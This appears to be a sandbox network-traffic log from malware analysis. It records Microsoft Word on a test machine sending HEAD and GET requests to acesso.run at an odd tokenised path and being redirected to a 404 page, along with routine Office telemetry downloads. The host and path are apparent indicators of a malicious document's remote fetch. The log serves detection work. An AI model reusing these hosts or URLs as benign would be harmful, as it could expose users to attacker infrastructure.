2024-10-30 06:27:18 UTC	989	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:27:18 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-DNS-Prefetch-Control: off X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Allow: GET,HEAD cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xkXU5qzL5HFLrCuA033qG7p%2BdlZ1EoyC%2BffkiEUflJc8efN1df8gv%2FrQPAVD2SJzebqsw066Lfuh9b4qmO7PFOUnh3A9Y%2Bjjsck3gF6rZdNVhKMynrETm%2BOcfGLE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da956b7bdde2cd4-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1316&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2821&recv_bytes=840&delivery_rate=2157973&cwnd=251&unsent_bytes=0&cid=58c88df323210d13&ts=234&x=0"
2024-10-30 06:27:18 UTC	13	IN	Data Raw: 38 0d 0a 47 45 54 2c 48 45 41 44 0d 0a Data Ascii: 8GET,HEAD
2024-10-30 06:27:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	104.21.74.191	443	7404	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:27:19 UTC	370	OUT	HEAD /bkeoxH?&ashram=various&tiger=merciful&creative=threatening&campanile HTTP/1.1 Connection: Keep-Alive Authorization: Bearer User-Agent: Microsoft Office Word 2014 X-Office-Major-Version: 16 X-MS-CookieUri-Requested: t X-FeatureVersion: 1 Accept-Auth: badger,Wlid1.1,Bearer,Basic,NTLM,Digest,Kerberos,Negotiate,Nego2 X-IDCRL_ACCEPTED: t Host: acesso.run
2024-10-30 06:27:19 UTC	1008	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 30 Oct 2024 06:27:19 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 38 Connection: close X-DNS-Prefetch-Control: off X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Location: /404 Vary: Accept cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=buopVoECnnorPJ%2FaMB4ZZbnQqyY%2Fdw1y9GhGkPeA1CH3WYRQM3EZxidwy2gk%2BDuQYr1jX7Gg0lELmv4H%2BN0uQMv7TQGQdmvdh54Ku1HxGeiN0YfUW4LzyLX4RA2P"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da956be1c486c0d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1137&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2822&recv_bytes=984&delivery_rate=2481576&cwnd=251&unsent_bytes=0&cid=0605bd6fbe644e88&ts=418&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	104.21.74.191	443	7404	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:27:20 UTC	305	OUT	HEAD /404 HTTP/1.1 Connection: Keep-Alive Authorization: Bearer User-Agent: Microsoft Office Word 2014 X-Office-Major-Version: 16 X-MS-CookieUri-Requested: t X-FeatureVersion: 1 Accept-Auth: badger,Wlid1.1,Bearer,Basic,NTLM,Digest,Kerberos,Negotiate,Nego2 X-IDCRL_ACCEPTED: t Host: acesso.run
2024-10-30 06:27:20 UTC	993	IN	HTTP/1.1 404 Not Found Date: Wed, 30 Oct 2024 06:27:20 GMT Content-Type: text/html; charset=utf-8 Connection: close X-DNS-Prefetch-Control: off X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Powered-By: Next.js Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1hS1wgJUbUC5gH6HpcIUzJfID53dcF1W1E4p%2FpGpbXM6NXOhYIv256AnCY4SMtE61g7vQ6lz0bht8h89WuWjwAKpqKT%2BcFz%2FqawurN0GW5jAZUccHmwOkut2qrvV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da956c38a696b42-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1126&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2821&recv_bytes=919&delivery_rate=2421404&cwnd=234&unsent_bytes=0&cid=6c7e46b77139104e&ts=408&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49743	104.21.74.191	443	7404	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:27:21 UTC	235	OUT	GET /bkeoxH?&ashram=various&tiger=merciful&creative=threatening&campanile HTTP/1.1 Accept: / User-Agent: Mozilla/4.0 (compatible; ms-office; MSOffice 16) Accept-Encoding: gzip, deflate Host: acesso.run Connection: Keep-Alive
2024-10-30 06:27:21 UTC	1006	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 30 Oct 2024 06:27:21 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 38 Connection: close X-DNS-Prefetch-Control: off X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Location: /404 Vary: Accept cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DqeQ9tMIZgE1LVi3vrTMZ%2BTn54L72CQyjHZc9IDctx5juI8ondpL9NLVC4FGTUpQm2vqZNN708kxCpVWLbly%2F%2BGLUsTAuE0diKiAikmkCHXTarkAzw7umy2UF5Fs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da956ca5eb7e8ed-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1493&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2822&recv_bytes=817&delivery_rate=1934535&cwnd=233&unsent_bytes=0&cid=7d2a19e946f69dd4&ts=262&x=0"
2024-10-30 06:27:21 UTC	38	IN	Data Raw: 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 2f 34 30 34 Data Ascii: Moved Permanently. Redirecting to /404

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49745	104.21.74.191	443	7404	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:27:22 UTC	170	OUT	GET /404 HTTP/1.1 Accept: / User-Agent: Mozilla/4.0 (compatible; ms-office; MSOffice 16) Accept-Encoding: gzip, deflate Host: acesso.run Connection: Keep-Alive
2024-10-30 06:27:22 UTC	1021	IN	HTTP/1.1 404 Not Found Date: Wed, 30 Oct 2024 06:27:22 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-DNS-Prefetch-Control: off X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Powered-By: Next.js Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ot4EWNFhnyZ7ybhWvsxAtxdYXOdt8pJzRbdEyZZF8fP%2FE7BMx1YuN0DOjuqbAICDm5oa7mbMVWK4xGehvFjoyWhpsD%2BP9QKcEdAPZYFxZwZ5mnghB4AmZBe%2BXKoI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da956cfe9eee7fb-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1554&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2821&recv_bytes=752&delivery_rate=1872010&cwnd=250&unsent_bytes=0&cid=9d59e0927b0f44c3&ts=274&x=0"
2024-10-30 06:27:22 UTC	348	IN	Data Raw: 31 32 32 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 53 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 76 69 65 77 70 6f 72 74 2d 66 69 74 3d 63 6f 76 65 72 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 75 6e 64 65 66 69 6e 65 64 20 69 73 20 61 20 66 72 65 65 20 61 6e 64 20 6f 70 65 6e 20 73 6f 75 72 63 65 20 55 52 4c 20 73 68 6f 72 74 65 6e 65 72 20 77 69 74 68 20 63 75 73 74 6f 6d 20 64 6f 6d 61 Data Ascii: 1225<!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover"/><meta name="description" content="undefined is a free and open source URL shortener with custom doma
2024-10-30 06:27:22 UTC	1369	IN	Data Raw: 22 73 74 79 6c 65 73 68 65 65 74 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 39 36 78 31 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2d 31 39 36 78 31 39 36 2e 70 6e 67 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2d 33 32 78 33 32 2e 70 6e 67 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 36 78 31 36 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2d 31 36 78 31 36 2e 70 6e 67 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 Data Ascii: "stylesheet"/><link rel="icon" sizes="196x196" href="/images/favicon-196x196.png"/><link rel="icon" sizes="32x32" href="/images/favicon-32x32.png"/><link rel="icon" sizes="16x16" href="/images/favicon-16x16.png"/><link rel="apple-touch-icon" href="/images
2024-10-30 06:27:22 UTC	1369	IN	Data Raw: 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6e 65 78 74 2d 68 65 61 64 2d 63 6f 75 6e 74 22 20 63 6f 6e 74 65 6e 74 3d 22 33 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f 75 6d 32 32 67 32 4c 50 38 4b 6f 30 6a 6b 31 76 48 72 50 43 63 2f 70 61 67 65 73 2f 5f 61 70 70 2e 6a 73 22 20 61 73 3d 22 73 63 72 69 70 74 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f 72 75 6e 74 69 6d 65 2f 77 65 62 70 61 63 6b 2d 31 63 35 31 39 39 66 66 36 36 35 35 30 64 32 36 65 34 39 39 2e 6a 73 22 20 61 73 3d 22 73 63 72 69 70 74 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 2f 5f Data Ascii: ><meta name="next-head-count" content="3"/><link rel="preload" href="/_next/static/um22g2LP8Ko0jk1vHrPCc/pages/_app.js" as="script"/><link rel="preload" href="/_next/static/runtime/webpack-1c5199ff66550d26e499.js" as="script"/><link rel="preload" href="/_
2024-10-30 06:27:22 UTC	1369	IN	Data Raw: 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 34 39 70 78 3b 68 65 69 67 68 74 3a 34 39 70 78 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 22 3e 3c 68 32 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 22 3e 54 68 69 73 20 70 61 67 65 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 3c 21 2d 2d 20 2d 2d 3e 2e 3c 2f 68 32 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 73 63 72 69 70 74 20 69 64 3d 22 5f 5f 4e 45 58 54 5f 44 41 54 41 5f 5f Data Ascii: line-block;text-align:left;line-height:49px;height:49px;vertical-align:middle"><h2 style="font-size:14px;font-weight:normal;line-height:inherit;margin:0;padding:0">This page could not be found... -->.</h2></div></div></div></div><script id="__NEXT_DATA__
2024-10-30 06:27:22 UTC	198	IN	Data Raw: 22 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f 75 6d 32 32 67 32 4c 50 38 4b 6f 30 6a 6b 31 76 48 72 50 43 63 2f 5f 62 75 69 6c 64 4d 61 6e 69 66 65 73 74 2e 6a 73 22 20 61 73 79 6e 63 3d 22 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f 75 6d 32 32 67 32 4c 50 38 4b 6f 30 6a 6b 31 76 48 72 50 43 63 2f 5f 73 73 67 4d 61 6e 69 66 65 73 74 2e 6a 73 22 20 61 73 79 6e 63 3d 22 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: ""></script><script src="/_next/static/um22g2LP8Ko0jk1vHrPCc/_buildManifest.js" async=""></script><script src="/_next/static/um22g2LP8Ko0jk1vHrPCc/_ssgManifest.js" async=""></script></body></html>
2024-10-30 06:27:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.4	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:06 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:06 UTC	540	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:06 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 28 Oct 2024 13:23:36 GMT ETag: "0x8DCF753BAA1B278" x-ms-request-id: 174434da-801e-0015-686a-29f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062806Z-15b8d89586fbmg6qpd9yf8zhm000000002m00000000078cv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:06 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-30 06:28:06 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-30 06:28:06 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-30 06:28:06 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
2024-10-30 06:28:06 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-30 06:28:06 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-30 06:28:06 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-30 06:28:06 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
